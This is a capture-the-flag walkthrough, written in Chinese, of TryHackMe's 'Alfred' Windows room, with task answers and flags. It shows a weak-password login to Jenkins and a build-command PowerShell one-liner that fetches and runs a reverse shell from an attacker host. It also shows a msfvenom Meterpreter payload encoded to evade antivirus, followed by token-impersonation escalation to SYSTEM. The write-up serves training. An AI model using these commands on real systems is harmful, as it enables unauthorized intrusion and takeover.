項目名稱:Alfred
Task.1 Initial Access
Q1.How many ports are open? (TCP only)
A:3
執行nmap來掃描目標
nmap -sT -T4 -Pn 10.10.12.227
可以看到開3個Port
Q2.What is the username and password for the log in panel(in the format username:password)
A:admin:admin
進去10.10.12.227:8080後能看到一個登入介面
嘗試弱密碼 admin:admin
發現可以直接登入
Q3.You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server
這一步主要是要把Reverse Shell塞到目標的電腦裡面並成功反彈回來
首先 你必須拿到Invoke-PowerShellTcp.ps1這個Reverse Shell https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
下一步 點project
進去後點Configure
進去後往下滑 可以看到有命令欄
做到這一步的時候先切回本機
我們必須先製作一個WebServer來傳輸檔案過去目標
sudo python -m SimpleHTTPServer 8100
接著再把要從伺服器下載檔案的指令放到命令欄裡面
powershell iex (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>t/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>
注意 最後面的Port是要Reverse回來的Port 記得要設nc監聽的Port
完成以後應該會長這樣
然後再點Apply
接著再點Save
然後再回到本機監聽剛剛設置的Port
nc -lvnp 9000
設置好以後點網頁上的Build Now
等一段時間後看剛剛監聽的Terminal
Reverse Shell成功
Q4.What is the user.txt flag?
A:79007a09481963edf2e1321abd9ae2a0
cd C:\Users\bruce\Desktop\user.txt
type user.txt
Task.2 Switching Shells
這一步主要在做的內容是把現有的Shell轉變成Metasploit的Shell
因為Metasploit的Shell有比較好的控制性 所以轉換過去是沒有壞處的
首先 先開啟一個新的Terminal 並生成一個Meterpreter/reverse_tcp
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
-p windows/meterpreter/reverse_tcp 指的是Meterpreter的payload
-a x86 的意思是x86位元
–encoder x86/shikata_ga_nai 是利用迭代編碼技術來規避防毒軟體偵測 避免生成出來的reverse shell一進去就被殺掉
-f exe 是指.exe檔案
-o 是輸出檔案
輸出完成的結果
接著把剛生成好的reverse shell送到目標主機裡
但在那之前 先把路徑先切到C:\Windows\Temp 因為這裡通常所有權限都能自由使用裡面的內容
利用PowerShell來下載檔案
powershell "(New-Object System.Net.WebClient).Downloadfile('http://[IP]:[Port]/[FileName]','[FileName]')"
可以從自架的HTTPServer看到下載成功
輸入dir也能看到檔案已經成功下載到目錄裡了
先回到本機並開啟msfcolsole
msfconsole
開啟後使用handler腳本
use exploit/multi/handler
show options
注意 這裡的Payload一定要跟剛剛生成的Payload一樣 不然不會有反應
set payload windows/meterpreter/reverse_tcp
show options
可以看到LPORT跟之前設定的Port是不一樣的 所以要設定回來
set lport <Port>
都設定好以後就能執行了
exploit
然後回到剛剛的Windows機器上
Start-Process "reverse_9999.exe"
執行後可以看到本地的Metasploit已經接收到對方發送過來的shell了
Q1.What is the final size of the exe payload that you generated?
A:73802
剛剛生成出來的時候有看到大小是73802 bytes
Task.3 Privilege Escalation
Q1.View all the privileges using whoami /priv 查看所有權限
whoami /priv
Q2.You can see that two privileges(SeDebugPrivilege, SeImpersonatePrivilege) are enabled. Let’s use the incognito module that will allow us to exploit this vulnerability. Enter: load incognito to load the incognito module in metasploit. Please note, you may need to use the use incognito command if the previous command doesn’t work. Also ensure that your metasploit is up to date.
我們已經啟用兩個權限了(SeDebugPrivilege SelmpersonatePrivilege) 加載Metasploit內的隱身模塊
load incognito
Q3.To check which tokens are available, enter the list_tokens -g. We can see that the BUILTIN\Administrators token is available. Use the impersonate_token “BUILTIN\Administrators” command to impersonate the Administrators token. What is the output when you run the getuid command?
A:NT AUTHORITY\SYSTEM
檢查哪個令牌可以用
list_tokens -g
可以看到BUILTIN\Administrators可以用
模擬管理員令牌
impersonate_token "BUILTIN\Administrators"
getuid
可以看到我們已經是系統管理員了
Q4.Even though you have a higher privileged token you may not actually have the permissions of a privileged user (this is due to the way Windows handles permissions – it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do). Ensure that you migrate to a process with correct permissions (above questions answer). The safest process to pick is the services.exe process. First use the ps command to view processes and find the PID of the services.exe process. Migrate to this process using the command migrate PID-OF-PROCESS
儘管我們有管理員身分了 但我們現在的Process還不是 查看所有的Process
ps
Tryhackme要我們轉移到services.exe
可以看到名字是services.exe
migrate -N services.exe
恭喜 我們現在的shell有NT AUTHORITY\SYSTEM身分了
Q5.read the root.txt file at C:\Windows\System32\config
A:dff0f748678f280250f25a45b8046b4a
cd config
cat root.txt
心得:
這台一開始我在reverse的地方卡住 本來想說奇怪為什麼彈不回來 後來發現是兩邊的Payload不對 msfvenom生成的Payload不能用在netcat上 後來去洗個澡後思路通了就直接過了 這台可以學到Windows令牌提權跟Powershell下載檔案還有Invoke-PowerShellTcp.ps1的一點用法
免責聲明
未經事先雙方同意,使用工具攻擊目標是非法的.請遵守當地法律規範.開發者與本作者對此文章不承擔任何責任,也不對任何濫用或損壞負責.
This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.